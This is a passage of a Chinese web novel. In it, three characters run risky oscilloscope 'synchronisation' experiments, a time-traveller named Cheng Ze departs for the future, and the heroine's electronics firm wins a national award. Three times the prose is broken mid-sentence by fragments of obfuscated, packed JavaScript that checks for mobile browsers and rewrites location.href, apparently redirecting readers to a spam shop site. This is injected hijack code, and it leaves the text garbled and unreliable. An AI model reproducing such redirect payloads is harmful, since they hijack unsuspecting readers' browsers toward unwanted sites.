林知远走到工作台边,用右手摆弄那台示波器。 “开始干活吧。”他说,“你们俩,过来。” …… 测频率的过程比安玥想象的要简单。 示波器的屏幕上跳出一串波形,乱七八糟的。 林知远盯着看了几秒,按下一个键,波形被定格。 “你的。”他在笔记本上记了一串数字。 然后是程则。 “你的频率比我预想的要高。” 程则没说话。 最后是林知远自己。 一番操作后,屏幕上出现第三串波形。 安玥凑过去看,三串波形并排显示,完全不在一个频道上。 “这能同步吗?” 林知远盯着屏幕,“理论上可以。需要时间,需要调试,需要一个稳定的环境。不能被外界干扰。” 程则看着他,“这里不行?” 林知远摇摇头。 “这里是园区,人多,变量多。排异随时可能爆发,得找个安静的地方。” 安玥想了想。 “那个小院子?” 程则愣了一下,看向她。 林知远也看向她。 安玥说:“城西那个院子,够安静吗?” 程则沉默了几秒,点点头。 “够安静。”他说,“就是……” 他没说完。 安玥看着他,“就是什么?” 林知远在旁边收拾仪器,头也不抬地说:“就是离你远。他不想离你远。” 程则瞪了他一眼。 安玥愣了一下,然后笑了,“走吧,收拾东西,搬家。” 那天下午,安玥请工人把仪器搬到城西那个小院子。 程则把一间屋子清空,摆上工作台和仪器。林知远在墙上钉了几块木板,用来夹图纸。 天快黑的时候,实验室雏形有了。 三个人围坐在堂屋里,面前摆着三杯茶。 程则先开口:“接下来这段时间,我们三个得待在这儿。排异随时可能来,不能分开。” 安玥看着他,“精时那边呢?” “我们帮你盯着。”门口传来一个声音。 三个人转头。 李红英站在院子门口,旁边站着张秀兰,两人手里拎着大包小包的。 安玥站起来。 “你们怎么来了?” 李红英走进来,把包往地上一放。 “丽娟说你们三个搬到这边来了,让我送点东西。”她说着,目光在程则和林知远身上扫了一圈,“哟,开小会呢?” 张秀兰跟在后面,把另一个包放下。 “这是换洗衣服,这是吃的,这是用的……”她一样一样往外掏。 安玥看着那堆东西,忽然觉得眼眶有点热。 李红英凑到她耳边,压低声音。 “你放心,厂里有我们,我们知道你们有大事要干,你什么时候忙完什么时候回来,不着急。” 安玥看着她,点了点头。 李红英直起身,拍了拍手。 “行了,东西送到了,我们走了。”她拉着张秀兰往外走,走到门口又回头,“安玥,注意安全。” * 晚上八点,三个人正式开始第一次同步尝试。 林知远把三台示波器连在一起,调整参数。程则负责记录数据。安玥负责盯着屏幕,看波形变化。 “先各自测一次。”林知远说,“看看有没有变化。” 一番操作后,屏幕上的波形和下午测的差不多。 林知远盯着那三串波形,皱起眉头。 “频率没变。这样不行。得想办法互相干扰。” 程则看着他。 “什么意思?” 林知远想了想,把三线并在一起。 “同时测。三个人同时贴,看看波形会不会互相影响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252543|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 三个人对视一眼。 安玥伸出手腕,程则伸出手腕,林知远用右手贴上。 示波器的屏幕上,三串波形同时出现。 然后,它们开始动。接着是互相靠近。慢慢地,三串波形的频率开始趋同。 安玥屏住呼吸。 程则盯着屏幕,渐渐的,屏幕上的三串波形开始趋于重合。 林知远松了口气,按下暂停键。 “成功了。”他说,“第一次就成功了。” 安玥看着那三串几乎一样的波形,激动不已。 程则盯着屏幕不说话。 安玥看着他。 林知远低头记录数据,头也不抬地说:“让他自己待会儿。” 过了一会,程则对林知远说道:“继续,趁现在稳定,多测几次。” 林知远点点头。 三个人又测了三次,每次都成功。 直到第四次测试刚开始,安玥就觉得不对劲。 那是一种很奇怪的感觉,好像有什么东西从她身体里往外抽,又有什么东西往里灌。 她看向程则。 程则的脸色也变了。 林知远盯着屏幕,示波器上的三串波形开始剧烈跳动,完全乱成一团。 “松手!”林知远大喊道,“快松手!” 安玥想把手腕上的电极片扯掉,但手指不听使唤。 程则冲过来,一把扯掉她手腕上的导线,又扯掉自己的。 三串波形同时消失。 安玥大口喘着气,额头全是汗。 程则扶着她,脸色发白。 林知远靠在椅背上,右手捂着胸口。 堂屋里安静了几秒。 林知远缓了一下,才说道:“同步过头了。频率靠得太近,开始融合。” 安玥看着他,“融合?” 林知远点点头:“三个人变成一个。如果成功,排异消失。如果失败——” 安玥有点焦虑地问:“如果失败会怎么样?” “不知道。”林知远叹了口气,“可能被规则当成一个超大的异常点直接抹杀。也可能被弹出去,掉到时空缝隙里,也可能不知道会穿到什么地方。” 林知远站起来,询问道:“还要继续吗?” 安玥看向程则。 很快,她作出决定:“继续。” 安玥站起来,走到他们中间。 “都走到这一步了。不继续,等着被世界意志一个个抹杀?” 安玥伸出手,拉住程则的袖子,再拉住林知远的。 “再来。” …… 他们试了一晚上,三个人都像被电击了一样,好半天缓不过来。 最后一次失败的时候,安玥直接晕了过去。 醒过来的时候,她躺在床上,窗外的天已经快亮了。 程则坐在床边,握着她的手,靠在椅子上睡着了。 安玥看着他,轻轻动了一下手。 程则立刻醒了。 “你怎么样?”他坐直身子,看着她。 安玥笑了一下,“还好,我们都还在。” 程则盯着她看了几秒,确认她没什么事后才说:“林知远在隔壁。也晕了一次,刚醒。” 安玥点点头,看着他问道:“程则,你怕不怕?” 程则轻叹口气,“怕,怕你出事。” “但你不怕,你好像从来没怕过什么。” 安玥有点好奇自己在程则那究竟是什么形象。 程则有些坦然地说:“我不如你。” 43. 第 43 章 同步实验进行到第三天,安玥开始习惯这个院子的节奏。 每天早上,程则出门买早饭。涉外酒店太远,他改在附近一家国营早点铺子买早点。 林知远七点准时起床,用右手摆弄仪器。 程则回来,三个人围着石桌吃早饭。 吃完早饭,开始实验。 测频率,调参数,贴电极片,看波形。成功,继续。失败,休息,再来。 三天下来,安玥手腕上贴电极片的地方磨出两道红印子。 第三天下午,林知远盯着示波器上的波形,眉头皱起来。 “不对。” 安玥凑过去:“怎么了?” 林知远指着屏幕上程则的那串波形。 “他的频率在变。” 程则走过来,看着屏幕。 “什么意思?” 林知远调出前两天的数据对比。三组波形并排显示,程则的那组一次比一次波动幅度大。 “不是同步造成的。”林知远说,“是他本身的问题。” 他看向程则。 程则没说话。 安玥看着他们两个,心里忽然有点慌。 “什么问题?” 林知远沉默了几秒。 他对程则说,“你那边的技术还不够成熟,导致你身体承受的压力太大。现在这个频率波动,是警告。” 程则耸耸肩,没否认。 安玥看着程则,问道:“他说的是真的?” 安玥看他不回答走到程则面前看着他,“你之前是骗我的,对不对?你根本待不了多久!” 林知远在旁边咳嗽了一声,拿起笔记本,走出堂屋。 堂屋里只剩下安玥和程则两个。 程则抬起头,看向安玥准备说什么。 “你别说。”安玥打断他,“你先听我说。” 程则闭上嘴。 安玥看着他,眼眶有点红。 “我从第一天认识你,在系统里你就骗我。你说你是普通买家,你说你只是喜欢收藏,你说……” “后来你来了,你站在我面前,你还是骗我。你说你叫程则,你说你是投资人,你说你对我好是因为想追我。” 程则张了张嘴,还想说什么。 “你别说。”安玥又说了一遍,“让我说完。” 程则闭上嘴。 “我知道你有你的理由。我知道你是为我好。我知道你知道的那些东西,我不能知道。但你能不能,跟我说一次实话?”安玥的声音有点抖。 程则看着她叹了一口气,“是,我骗你的。” 程则往前走了一步,“我来之前,就知道待不了太久。集团的监测系统算过,再久的话身体会出问题。” 安玥的眼眶更红了。 “那你——” “我想多待几天。想多看看你。想陪你吃几顿饭,走几段路,看几次月亮。” 程则伸出手,想拉她的手,又收回去。 “安玥,我知道这很自私。我来了,让你知道我是谁,然后又走,比不来还难受。” “但我忍不住。” 安玥伸出手,拉住他的袖子,“还剩几天了?” 程则愣了一下,“什么?” “你还能撑几天?” 程则算了算,笑着说:“三天吧,但我觉得集团那边检测的不准……” 安玥松开他的袖子,转身往外走。 “那就三天,别浪费。” 那天晚上,安玥没回自己屋。 她把石桌搬到院子里,摆上茶壶茶杯,叫程则和林知远出来喝茶。 月亮很亮,三个人围着石桌坐着,谁都没说话。 安玥先开口。 “林师兄。” 林知远抬起头。 “你能不能让那个波形,”安玥指了指堂屋里的仪器,“看起来正常一点?” 林知远和程则同时愣了一下。 安玥看着他们俩。 “不是说他的频率在变吗?”她说,“那就让它不变。伪装一下。糊弄那个破规则。” 林知远沉默了几秒。 “理论上可以。”他说,“用外部信号干扰,把波动压住。但——” “但是什么?” “但是有风险。”林知远说,“压住了还好。压不住,波动反弹,会更严重。” 安玥看向程则。 程则冲她笑笑:“试试。” 林知远看着他。 程则点点头。 “试试。” 那天晚上,三个人又进了那间专供研究的小屋。 林知远调了一夜的参数,天快亮的时候,终于弄出一个方案。 “这个装置,”他指着一堆新接上的仪器,“可以发射干扰信号,把你的波动压在一个固定的范围里。” 程则看着那堆东西。 “能压多久?” 林知远摇摇头,“不知道。可能一天,可能两天。也可能一开机就崩。” 程则淡淡一笑:“那就试。” …… 第五天早上,干扰装置开始运行。 程则贴上电极片,示波器上的波形果然稳住了。波动幅度变小,频率固定在了一个数值上。 林知远盯着屏幕看了十分钟,松了口气。 “成了。” 程则站起来,走到安玥旁边。 安玥看着他,“感觉怎么样?” “还行。”程则说,“就是有点晕。” 还不等安玥说话,他笑了笑,“没事。晕一下而已。” 那天下午,程则带安玥去了趟市区。 他说要去涉外酒店买豆沙包,安玥说太远,他说不远,开车一个小时就到了。 结果真的开了一个小时。 安玥坐在副驾驶,看着窗外的风景。麦田,村庄,骑着自行车的人,路边卖西瓜的摊子。 程则忽然开口。 “安玥。” “嗯。” “你后不后悔?” 安玥转头看他,“后悔什么?” 程则看着前面的路。 “后悔认识我。” 安玥愣了一下。 程则继续说:“如果不认识我,你就在这边好好过日子。有厂,有钱,有朋友。林知远也能好好搞他的研究。不会有什么排异,不会有什么危险,不会——” “程则。”安玥打断他。 程则闭上嘴。 安玥看着他:“你再说一句,我就跳车。” 程则愣了一下,然后笑了。 安玥没笑。 “我后悔什么?我后悔的是没早点认出你。后悔的是你站在我面前那么久,我都不敢问。” 程则的笑容淡了淡。 安玥转回头,看着前面的路。 “你别想那么多。三天就三天,那也是赚的。” 程则没说话。 车开到涉外酒店门口。 程则去买豆沙包,安玥坐在车里等。 她看着他的背影,看着他排队,看着他拎着纸袋走回来,拉开车门,把纸袋递给她。 “趁热吃。” 安玥接过来,咬了一口。 第六天晚上,干扰装置出了问题。 林知远盯着示波器,脸色变了。 “波动压不住了。” 程则走过来,看着屏幕上的波形。那串原本平稳的曲线开始剧烈跳动,幅度越来越大。 林知远赶紧调参数,结果没用。重启装置也没用,换频率还是没用。 “不行。”林远知眉头紧锁,“你的身体已经到极限了。硬压只会让反弹更厉害。” 程则的脸色也不好。 安玥站在旁边,看着他们俩,“什么意思?” 林知远看向她,“意思就是,他必须得走了。再拖下去他的身体会出问题。” 安玥看向林知远,语气有点急,“你再试试?” “我再试试吧。不过按照他的这个状态,下次也没可能再来了。”林知远低下头,收拾仪器走出屋子。 门关上。 安玥站在原地,看着程则。 程则走过来,站在她面前。 “安玥。” “你别说。”安玥的声音有点抖,“你别说那些话。” 程则看着她,眉宇间有些伤感。 “好,不说。” 安玥低下头,过了很久,她抬起头。 “什么时候走?” 程则沉默了几秒,“今晚。” “几点?” “不知道,系统会提醒。可能半夜,可能凌晨。” 安玥点点头。 程则看着她,“安玥,“我能抱你一下吗?” 安玥往前走了一步,伸出手抱住他。 程则愣了一下,紧紧回抱住她。 两个人站在堂屋里,谁都没说话。 那天晚上,安玥没睡觉。 她和程则坐在院子看月亮。 程则给她讲未来世界的事。 他说那里没有月亮,因为空气污染太严重,看不见。说那里的人不怎么聊天,都靠脑机接口传信息。说他小时候以为月亮是编出来的,后来在资料库里看到照片,才知道是真的。 安玥一直安静地听着。 程则讲完了,看着她,“你怎么不说话?” 安玥想了想,说:“我在想,你回去以后,还能不能给我发消息。” 程则想了想,说:“应该能,系统还在。” 安玥点点头,“那就行。” 程则看着她:“就这些?” 安玥快速拭过眼角,“不然呢?哭一场?让你别走?” 程则没说话。 安玥转回头看着月亮。 “你走了,我就继续过日子。厂子还得管,人还得带,林师兄还得照顾。等忙完了,晚上躺床上,看看系统里你有没有发消息。” 她顿了顿,“有就回,没有就等。反正等了几年了,不在乎多等几年。” 程则看着她,眼眶红了。 “安玥,你等我。” 安玥转头看他。 “我一定回来。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259950|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 安玥笑了一下,“行,我等着。” 安玥听到一声系统提示音,不是她的系统发出的。 程则低头看了一眼,然后抬起头。 “该走了。” 安玥点点头,她站起来,程则也站起来。 两个人面对面站着。 安玥伸出手,拉住他的袖子。 程则看着她,眼神里有太多情绪。 “安玥,替我看月亮。” “好” 最后,手里空了。 安玥站在原地,看着那一片夜色。 过了很久,她抬起头。 月亮挂在天上,又圆又亮。 第二天早上,李红英来了。 她拎着一篮子鸡蛋,推开院门,看见安玥坐在院子里。 “安玥?你脸色咋这么差?” 安玥转过头,“你怎么来了?” 李红英把篮子放下,走过去在她旁边坐下。 丽娟让我来看看你,她说你这两天没去厂里。” 安玥点点头。 李红英四下看了看,压低声音:“程先生呢?” “走了。” 李红英愣了一下,“走了?去哪儿了?” “很远的地方。” 李红英张了张嘴,然后表情变得微妙起来。 她憋了半天,终于憋出一句话:“他就这么走了?” 安玥没说话。 李红英的眉头皱起来,语气里带了点愤愤不平:“天天来送早饭送花,追得满厂都知道,结果就——就走了?” 安玥看着她。 李红英越说越来劲:“不是,他什么意思啊?搞这么大阵仗,把人撩得心动了,然后拍拍屁股走人?他当自己是——” “红英。”安玥打断她。 李红英闭上嘴,但脸上的表情还是很不服气。 安玥看着她那样子,忽然有点想笑。 “他不是那个意思。” “那是什么意思?”李红英说,“走了就是走了,还能有什么意思?安玥,我跟你说,这种男人长得人模狗样的,嘴上说得好听,其实——” 安玥没忍住,笑了一下。 李红英一愣,“你笑什么?” 安玥摇摇头。 “没什么。” 李红英盯着她看了半天,表情从愤愤不平变成了担忧。 “安玥,你没事吧?” “没事。” “真的没事?” 安玥站起来,舒展了一下双臂,“真的没事。” 她往外走了两步,又停下,回头看着李红英。 “红英。” “嗯?” “程则他……不是那种人。” 李红英张了张嘴,想说什么,又咽回去。 最后她站起来,拎起那篮子鸡蛋。 “行吧,你说不是就不是。”她走过来,挽住安玥的胳膊,“走吧,回厂里。丽娟攒了一堆事等你签字呢。” 安玥点点头。 两人往外走。 走到院门口,安玥回头看了一眼那棵老槐树,然后转回头,继续往前走。 走出院子没多远,迎面碰上林知远。 他站在路边的槐树底下,左手还打着石膏。 “林师兄?”李红英愣了一下,“你怎么蹲在这儿?” 林知远的目光落在安玥身上。 安玥停下脚步。 两人对视了几秒。 李红英看看安玥,又看看林知远,识趣地往后退了两步。 “那个……我先去前面等着,你们聊。” 她快步往前走,走出一段距离。 林知远先开口。 “他走了?” 安玥点点头。 “什么时候?” “昨晚。” 林知远抬起头,看着天。 安玥顺着他的视线看过去,天上有几朵白云慢慢飘着。 林知远有些好奇地问:“他说什么了?” 安玥想了想,“他说让我等他。” 林知远看着她,“那你等吗?” 安玥迎着他的目光。“等。” 林知远点了点头。 “行。” 安玥没说话。 林知远往旁边让了一步,让出路来。 “回厂里吧。”他说,“一堆事等着呢。” 安玥看着他。 “林师兄,你是不是知道……” 林知远笑笑,“我本来就知道有这么一天。” 安玥不知道该说什么。 林知远已经转身往回走了。 安玥站在原地,看着他的背影。 李红英从前面跑回来,凑到她旁边。 “林师兄说什么了?” 安玥冲李红英笑笑,“他拿他的设备,走吧。” 两人继续往前走。 李红英在旁边絮絮叨叨说着什么,安玥没听进去,她走着走着,忽然想起程则最后那句话。 她抬起头。 天很蓝,没有月亮。 44. 第 44 章 安玥推开精时科技园的大门,门卫老头看见她愣了一下。 “安总?你回来了?” 安玥点点头。 老头张了张嘴,想说什么最后只是笑了笑:“回来好,回来好。王会计天天念叨你。” 安玥往里走。 路过三号车间,几个工人看见她,停下脚步打招呼。路过研究部小楼,几个技术员从窗户里探头。路过食堂,大师傅拎着勺子站在门口。 安玥一路点头,一路往前走。 走到办公楼门口,王丽娟已经站在那儿了。 她手里抱着一沓文件,公事公办地说:“安总,这些需要你签字。” 安玥接过来,翻了翻。 “这么多?” “攒了好些天了。”王丽娟说,“有些急的,我帮你处理了。这些必须你亲自签。” 安玥点点头,往办公室走。 王丽娟跟在后头,一边走一边念:“随身信使三代追加订单,交货期压到一个月,产线那边说做不到,需要你协调。1型终端质检报告出来了,有三项指标不合格,需要你签字返工。省里有个什么奖下个月颁奖,你得去。还有——” 她说着,观察着安玥的神色,“省里推荐咱们参加全国电子百强评选,材料下周五截止。” 安玥停下脚步,回头看她。 “全国电子百强?” 王丽娟点点头。 “省里说,以咱们现在的规模和增速,有希望进前五十。” 安玥看了她两秒,继续往前走。 推开办公室的门,桌上干干净净,文件分门别类摆好,笔筒里的笔削好了,茶杯洗过了,窗台上还插着一枝鲜花。 安玥愣了一下。 王丽娟在后面说:“张秀兰早上来收拾的,她说你爱干净。” 安玥没说话。 她在椅子上坐下,翻开第一份文件。 王丽娟站在旁边,等她签完一份,递上下一份。 签了十几份,安玥抬起头。 “李红英呢?” 王丽娟的表情有些迟疑,“在门口。” “门口?” “大门外头。”王丽娟说,“她说她去买点东西。” 安玥放下笔,站起来走到窗边。 往外看,大门口空空荡荡的,什么人都没有。 她正要转身,忽然看见一个小点从远处跑过来。 越来越近,是李红英。 她跑得气喘吁吁,手里拎着一个纸袋,跑到门卫室门口,扶着墙喘气。 门卫老头从窗口探出头,跟她说了句什么。李红英摆摆手,往办公楼这边跑。 安玥看着她的身影消失在楼底下。 过了两分钟,办公室门被推开。 李红英站在门口,额头上都是汗,把那个纸袋往桌上一放。 “涉外酒店那家的。”她说,“你俩快吃,一会凉了。” 安玥低头看着那袋包子,又抬头看着李红英,满脸疑惑:“你……” 王丽娟也满脸疑惑:“你买着干啥?” “别问。”李红英打断她,“吃就行。” 安玥看着她,明白这是来自好友的关心,感激道:“红英,谢谢你。” 李红英愣了一下,然后摆摆手:“谢什么谢,走了走了,我去产线了。” 她转身就走,走到门口又回头道:“安玥,那个……程先生的事,你别往心里去。他那种人,跑了就跑了吧,咱们……” 王丽娟心下了然,也轻轻拍了拍安玥的肩膀。 安玥看着她。 李红英在一旁忿忿道:“咱们精时一百多号人,还比不上他一个?” 安玥愣了一下,随即笑出声来。 李红英被她笑得莫名其妙:“你笑什么?” 安玥摇摇头,“没什么,你说得对。一百多号人,比他一个强多了。” 王丽娟也笑着说:“那你好好调整,我们先过去了。”说着和李红英一起离去。 下午,安玥去了趟研究部。 小楼里安安静静的,几个技术员看见她,点点头,继续低头干活。她上到二楼,走到最里面那间,门开着一条缝。 林知远坐在工作台前,拿着笔在笔记本上写什么。 安玥敲了敲门。 林知远抬起头。 “进来。” 安玥推门进去,在他对面坐下。 工作台上摊着那本笔记本,旁边摆着几台仪器,示波器的屏幕还亮着,上面是一串平稳的波形。 安玥看了一眼。 “你的?” 林知远点点头,“排异降回两个bug的水平了。我测了一下自己的频率,稳住了。” 安玥点点头。 林知远把笔记本翻到某一页,推到安玥面前。 安玥低头看——上面画着一幅结构图,密密麻麻标注着参数和公式。 “这是什么?” 林知远解释道:“他的办法。他走了,排异降下来了。我有时间把这个做完。” 安玥看着那幅图。 “做完之后呢?” “之后你就安全了。” 安玥抬起头看着他,“你呢?” 林知远低下头,半天没说话。 工作台上的仪器发出轻微的声响。 过了很久,他抬起头。 “他要是敢一走了之,”林知远说,“我饶不了他。” 安玥笑了。 “你自己胳膊还打着石膏呢。” 林知远也笑了。 “石膏拆了就能打。” 两人对视了一眼,都没再说话。 安玥站起来,走到窗边。 楼下,几个技术员抱着图纸向远处的车间,更远的地方,新厂房已经封顶,工人在脚手架上忙碌。 她看了一会儿,转回头。 “林师兄,精时要评全国百强了。” “我知道。”林知远抬起头,似乎早有预料。 “你不问问我,这个节骨眼上还有心思管这些?” 林知远笑了,“你不管这些,就不是你了。而且精时不是你一个人的。一百多号人等着吃饭,你不能停。” 安玥长叹一声,“压力大啊。” 晚上,安玥回了公寓。 她洗了了脸,在床上坐下。 她调出系统面板。 Z的头像亮着。 对话框里有一条消息,发过来的时间是三个小时前:“到了。一切都好。” 安玥盯着这行字,心里有些怅然。 她打字:“到了就好。”然后删掉。 又打字:“累不累?”接着删掉。 又打字:“今晚的月亮挺亮的。”继续删掉。 最后她发了一个“嗯。” 那边很快回复:“还没睡?” 安玥:“睡不着。” Z:“我也是。” 安玥:“你那边能看见月亮吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264566|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > Z:“看不见。但我能想象。” 安玥:“想象什么?” Z:“想象你抬头看月亮的样子。” 安玥看着这行字,眼眶忽然酸了。 她打字:“程则。” Z:“我在。” 安玥:“你说话算话吗?” 很快,屏幕上跳出一行字:“你相信我。” 第二天早上,安玥醒得很早。 她洗漱完,推开门,门口放着一个纸袋。 她低头看了看,弯腰拿起来。 涉外酒店那家的豆沙包,还冒着热气。 她往走廊两头看了看,空荡荡的,一个人都没有。 她拎着纸袋往厂里走。 走到办公室门口,秘书已经抱着一沓文件在等着她了。 “安总,这些需要你签字。” 安玥接过来。 “今天有什么安排?” 秘书翻了翻日程本。 “上午九点,产线协调会。十点半,财务汇报。中午和邮电局的领导吃饭。下午两点,省里来人考察。四点,研究部例会。晚上有个饭局。省经委的领导,说要谈谈上市的事。” 安玥手里的笔顿了一下。 “上市?” “是的安总,省里说,以精时现在的规模和增速,可以考虑启动上市准备了。他们想听听你的想法。” 安玥继续签字,签完最后一份,她站起来。“走吧,产线协调会不能迟到。” 她推门出去。 秘书赶紧跟了上去。 * 十一月的首都。 安玥站在大礼堂的台阶上,看着面前那排巨大的石柱,忽然想起自己刚穿越过来的那些年。 “安总,该进去了。”秘书在旁边提醒她。 安玥点点头,整理了一下那件呢子大衣的领子,跟着人群往里走。 颁奖典礼在二楼的大厅举行。三百多人,男的占九成,都穿着深色西装。安玥走进去的时候,有几道目光转过来,在她身上停了一瞬。 她面不改色,找到自己的位置坐下。 “全国电子百强企业”的奖杯一排排摆在台上,在灯光下闪着光。主持人在台上念着名单,一个接一个的企业代表上去领奖。 念到第四十六名的时候,安玥站起来。 “精时科技——” 她走上台,接过那座奖杯。 台下响起掌声。她往下看了一眼,黑压压的人头,看不清谁是谁。 她忽然想,如果程则在,会站在哪个位置。 下台之后,一群人围过来。 “安总,我是《经济日报》的记者,能采访您吗?” “安总,我们想邀请您参加下个月的行业论坛。” “安总,听说精时准备上市?” 安玥一一应付,秘书在旁边帮忙收名片,一沓一沓的。 晚上回到酒店,安玥把那些名片倒在桌上,一张一张翻。 邮电部的,电子工业部的,几个省市的经委主任,几家银行的行长,还有几个同行,有国营大厂的厂长,研究所的所长。 她把那座奖杯摆在桌上,自言自语道:“这排名明年得往前挪挪。” 说完她站起来,走到窗边。 酒店窗户能看到全国最繁华的街景,远处的高楼灯火通明。 她看了一会儿,忽然想:程则那边,有没有这样的夜景? 他这个时候又在做什么,想什么呢? 45. 第 45 章 第二天下午,安玥回到省城。 车开进精时科技园,门口那块牌子换成了“精时电子集团”。几个工人正在搭架子,准备挂横幅。 安玥下车,门卫老头跑过来。 “安总,你可回来了!王会计说让你先去研究部,林工找你。” 安玥点点头,往研究部走。 研究部的小楼门口多了一块牌子——“精时中央研究院”。安玥愣了一下,推门进去。 林知远的实验室在二楼。门开着,里头传出仪器的嗡嗡声。 安玥走进去,看见林知远坐在工作台前,背对着她,正低头调试什么东西。 “林师兄。” 林知远转过头,看见安玥,他点点头。 “回来了?” 安玥走过去,在他对面坐下。 工作台上摊着那个笔记本,旁边摆着几台新仪器,比之前那些看着更复杂。示波器的屏幕上跳着一串平稳的波形。 “这是什么?”安玥指着那几台新仪器。 林知远看了一眼。 “自己做的。”他说,“精度比买的那些高。” 林知远放下手里的东西,看着她,“首都怎么样?” “还行。”安玥说,“拿了座奖杯。” 她从提兜里掏出奖杯,放在桌上。 林知远低头看了一眼,笑着问她:“明年能进前二十吗?” 安玥笑了,“你也这么想?” 林知远抬起头,看起还很有自信,“精时的增速,前二十是保守的。如果新产品顺利,前十也有可能。” 安玥看着他,疑惑道:“什么新产品?” 林知远站起来,走到角落,掀开一块布。 安玥愣住了。 “这是……笔记本电脑?” 林知远料到安玥知道这是什么东西,点点头,“我们自己做的。” 安玥站起来,走过去,绕着那台电脑器转了一圈。 “这是轻薄本吧,这个时代出现这个是不是有点超前了……能开机吗?” 林知远按下一个开关。 屏幕亮了,上面跳出一行英文字母:JINGSHI。 安玥盯着那行字,惊讶地半天没说话。 林知远在旁边解释。 “CPU是咱们自己设计的,元件材料也符合当下水平……” 安玥摸了摸笔记本的外壳,问他,“你什么时候开始弄这个的?” 林知远沉默了一下说:“你那次差点被车撞之后。我想着,万一你哪天不在了,精时怎么办?总得留点东西。” 林知远继续说:“现在做出来了。下一步是改进,小型化,降低成本,提高性能。” 安玥打断他:“林师兄。” “嗯?” “你多久没睡觉了?” 林知远愣了一下,安玥指着他的脸说:“眼眶底下那两团,快赶上熊猫了。” 林知远低下头,尴尬地笑笑。 安玥叹了口气,“今天别弄了。回去睡觉。” 林知远抬起头拒绝:“有些参数还没调完——” “明天调。”安玥给他下了命令,“现在,回去睡觉。” 林知远看着她,忽然笑了,“行,听你的。” 接下来一个月,安玥忙得脚不沾地。 省里对精时上市的事很重视,专门派了个工作组来对接。各种材料、各种会议、各种审批。 王丽娟每天抱着文件夹跑来跑去,李红英负责的产线又扩了,新招了几百号工人。张秀兰作为质检部门的一把手,天天在车间里转。陈卫国和吴建设各自带团队,一个搞硬件,一个搞软件,天天熬到半夜。 安玥的办公室门口永远排着队。签字的,汇报的,请示的,谈事的,一天下来嗓子都是哑的。 那天下午秘书推门进来,表情有点微妙。 “安总,有个人想见你。” 安玥抬起头。 “谁?” 秘书递过来一张名片,“时域资本。” 安玥手里的笔顿住了。 秘书看着她请示道:“他说他是老熟人了。让不让他进来?” 安玥赶紧站起身,“让他进来。” 秘书出去,过了两分钟,门被推开。 进来的人穿着一件深灰色大衣,个子很高,眉目清俊,但不是程则。 安玥愣了一下。 来人走到她面前,伸出手。 “安总,久仰。我是时域资本的新负责人,李新。” 安玥握了一下他的手。 “李总有什么事?” 李新笑了笑,从公文包里取出一份文件,放在她桌上。 “时域资本有意参与精时的上市融资。这是意向书,安总可以看看。” 安玥翻开文件,扫了几眼,条件比当初程则给的那些还要优厚。 她抬起头。 “李总和程则是什么关系?” 李新看着她,恭敬地说:“程先生是我们集团的负责人,他托我向安总问好。” 安玥的睫毛微动,“他还说什么了?” 李新似乎早就在等安玥问这句,完成任务般说道:“他说,让安总别太累,注意身体。” 安玥低下头,看着那份文件。 “意向书我收下了。回头让负责人跟你对接。” 李新点点头,打算告辞,“安总,程先生还让我带句话。” “什么话?” 李新微微笑道:“程先生说,快了。” “快了?”安玥重复道。 李新点点头,他也不知道顶头上司交代的这两个字是什么意思,他的任务只是把话带到,把钱带到。 李新走后,安玥坐在椅子上,回想着那句“快了”,心里有些高兴。 她调出系统面板,Z的头像亮着。 对话框里有一条消息:“今天有人去找你了?” 安玥打字:“你怎么知道?” Z:“我让去的。” 安玥:“那个李新?” Z:“嗯。时域资本的新负责人。” 安玥打字:“你安排的?” Z:“投资的事是真的。让他去谈,是顺带。” 安玥:“顺带什么?” Z:“顺带看看你。” 安玥没问为什么要看她,只是问道:“你那边一切都好吗?” 她不敢问他什么时候回来,她担心给他压力,会耽误他的身体恢复。 屏幕上跳出一行字:“我都好,很快就去找你。” 安玥盯着这两个字,没有回复,心里有些酸酸的。 Z又回复道:“技术还有最后一道瓶颈,如果攻破,就能待更久。” 安玥:“多久?” Z:“以年为单位吧。” 安玥看着那行字,不禁想着,那样的话可以一起吃很多顿饭,走很多段路,看很多次月亮。 她回复:“我相信你。” 十二月,精时科技园旁边那块空地上,搭起了台子,拉起了横幅。 “精时科技产业园奠基仪式”。 省里来了领导,市里来了领导,邮电部来了人,电子工业部来了人。台下一排排椅子,坐满了西装革履的人。 安玥站在台上,面前摆着一把绑着红绸的铁锹。 领导讲完话,轮到她了。 她走到话筒前,低头看了一眼稿子,然后抬起头。 “谢谢大家来。” 台下响起掌声。 她落落大方道:“几年前,精时还只是一个小工作室,七个人,挤在一间旧礼堂里。今天,我们站在这里,要建一个产业园。” 她指了指身后那块空地。 